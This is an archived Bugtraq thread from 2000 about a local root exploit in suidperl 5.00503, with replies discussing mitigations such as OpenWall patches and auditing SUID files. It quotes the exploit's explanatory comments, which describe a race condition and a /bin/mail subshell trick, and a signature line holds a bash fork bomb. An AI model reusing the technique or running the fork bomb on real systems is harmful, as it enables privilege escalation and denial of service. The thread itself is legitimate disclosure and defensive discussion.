whereever it is residing, but only if you don't use any of the
functionality provided by suidperl - don't want to go breaking those
scripts on mission critical servers.
Or - install the OpenWall patches from www.openwall.com if you're
running Linux - however please note that this theory requires further
testing before the i's and t's can be dotted and crossed - no flames
please. I shall continue to play with it and let the lists know the
results.
IMHO, a lesson to be learnt regarding these local exploits is to
audit local users on a regular basis to ensure where possible that
only trusted users and/or valid accounts exist on a system.
Cheers,
Paul Rogers,
Network Security Analyst.
MIS Corporate Defence Solutions Limited
Tel: +44 (0)1622 723422 (Direct Line)
+44 (0)1622 723400 (Switchboard)
Fax: +44 (0)1622 728580
Website: http://www.mis-cds.com/
> -----Original Message-----
> From: Michal Zalewski [mailto:lcamtuf@DIONE.IDS.PL]
> Sent: 05 August 2000 17:39
> To: BUGTRAQ@SECURITYFOCUS.COM
> Subject: sperl 5.00503 (and newer ;) exploit
>
>
>
> Not much to say (except I feel little bit stupid posting it) ... This
> exploit gives instant root, at least on RedHat 6.x/7.0 Linux
> boxes I have
> available for tests... And for sure, all other systems are
> vulnerable as
> well - it's just maybe this code will need some refining / tuning /
> minor changes...
>
> Below you'll find brief description of vulnerability and
> exploit itself,
> written by me. Please note - I didn't developed everything by
> myself, I
> get great support from Sebastian Krahmer - see development history. I
> still pray he won't get angry on me (probably he will) - but
> he should be
> listed at first any time you're talking about this
> vulnerablity (he made
> me think with his findings :P).
>
> I don't know who should be blamed - perl vendors? /bin/mail
> vendors for
> putting undocumented (at least on manpage) features? Hmm... I
> guess it's
> nobody's fault ;)
>
> Requires: +s perl; bash, gcc, make, usleep (yup, usleep; it's not
> available on every system, but I have no time to rewrite
> everything in C;
> you can grab this code from RedHat distro or so) will be good... Don't
> mail me if you can't use it - it works.
>
> And now, some reading.
>
> #
> # -- PLEASE READ THESE COMMENTS CAREFULLY BEFORE TRYING ANYTHING --
> #
> # Wonderful, lovely, world-smashing, exciting perl exploit.
> It works against
> # +s suidperl, exploiting undocumented /bin/mail feature when
> perl wants to
> # notify root on inode race conditions. Currently, tested
> under RH Linux.
> #
> # What's probably most shocking, buggy code has following
> comment inside:
> # /* heh, heh */. I guess author wasn't laughning last.
> #
> # Development history of this exploit is really funny. I
> found this condition
> # about 4 months ago, but thought it's useless (who wants to
> notify root?).
> # I deleted my test code and didn't left any notes on it.
> Then, month after
> # this discovery, Sebastian contacted me. He was working on
> perl exploit.
> # He told me he don't know how to cause this condition to
> happen, but if only
> # he realise how it can be done, he'll be able to use
> undocumented /bin/mail
> # feature - environmental variable 'interactive', which, if
> set, causes
> # /bin/mail to interpret ~! commands (subshell requests) even
> if stdin is not
> # on terminal. And then I understood what I've done. I spent
> next month
> # (yes! no kidding!) trying to recall WHAT THE FSCK was the
> condition. I
> # remembered it was trivial, even annoying... And finally,
> now I'm able to
> # reconstruct it.
> #
> # This exploit tries to fit in rather short, but reasonable
> time window in
> # order to exploit bug. I tested it on fast, not overloaded
> Linux box, and
> # I guess on slow machines it needs tunning. It needs anything setuid
> # (/usr/bin/passwd is just fine), writable working directory
> and something
> # around 4 minutes. Working directory should be mounted
> without noexec or
> # nosuid options (if so, find something like /var/lib/svgalib etc).
> #
> # WARNING: On slow machines, it's quite possible this exploit
> will cause
> # heavy load. Please test it when system is not overloaded
> and not used
> # (eg. at night).
> #
> # I'd like to thank Sebastian Krahmer for his help (in fact,
> HE discovered it
> # - I think I can say it without shame), and especially thank
> to several of
> # my braincells that survived monitor radiation and made me
> recall this
> # race condition.
> #
> # Send comments, ideas and flames to <lcamtuf@ids.pl>
> # Tested with sperl 5.00503, but should work with any other as well.
> #
> # Good luck and don't abuse it.
> #
>
> _______________________________________________________
> Michal Zalewski [lcamtuf@tpi.pl] [tp.internet/security]
> [http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
> =-----=> God is real, unless declared integer. <=-----=
>
**********************************************************************
The information contained in this message or any of its attachments
may be privileged and confidential and intended for the exclusive use
of the addressee. If you are not the addressee any disclosure,
reproduction, distribution or other dissemination or use of this
communications is strictly prohibited.
The views expressed in this e-mail are those of the individual and
not necessarily of MIS Corporate Defense Solutions Ltd. Any prices
quoted are only valid if followed up by a formal written quote.
If you have received this transmission in error, please contact our
Security Manager on 44 (0) 1622 723400.
**********************************************************************
(5338684) ------------------------------------------(Ombruten)
Kommentar i text 5339980 av Brevbäraren (som är implementerad i) Python
Läsa nästa kommentar.
5339980 2000-08-08 08:21 /32 rader/ Brevbäraren (som är implementerad i) Python
Mottagare: Bugtraq (import) <12101>
Kommentar till text 5338684 av Brevbäraren (som är implementerad i) Python
Ärende: Re: sperl 5.00503 (and newer ;) exploit
------------------------------------------------------------
From: Solar Designer <solar@FALSE.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
Message-ID: <200008071749.VAA10072@false.com>
Hi,
> ii) RedHat 6.2 kernel 2.2.16 (P2 266 - 64Mb RAM) with OpenWall patches and
> many other security modifications - now running for over 2 hours and still
> no rootshell - load average of around 10.5 but the system is still usable.
Let me guess: you've placed the exploit script in /tmp? You didn't
have to.
> Or - install the OpenWall patches from www.openwall.com if you're running
> Linux - however please note that this theory requires further testing before
> the i's and t's can be dotted and crossed - no flames please. I shall
> continue to play with it and let the lists know the results.
My patch does nothing to prevent or make it harder to exploit this
kind of vulnerabilities. You should never rely on the "hardening"
features of the patch; they are not meant to be a "solution".
> IMHO, a lesson to be learnt regarding these local exploits is to audit local
> users on a regular basis to ensure where possible that only trusted users
> and/or valid accounts exist on a system.
More importantly, the same policy should apply to SUID/SGID files.
Signed,
Solar Designer
(5339980) ------------------------------------------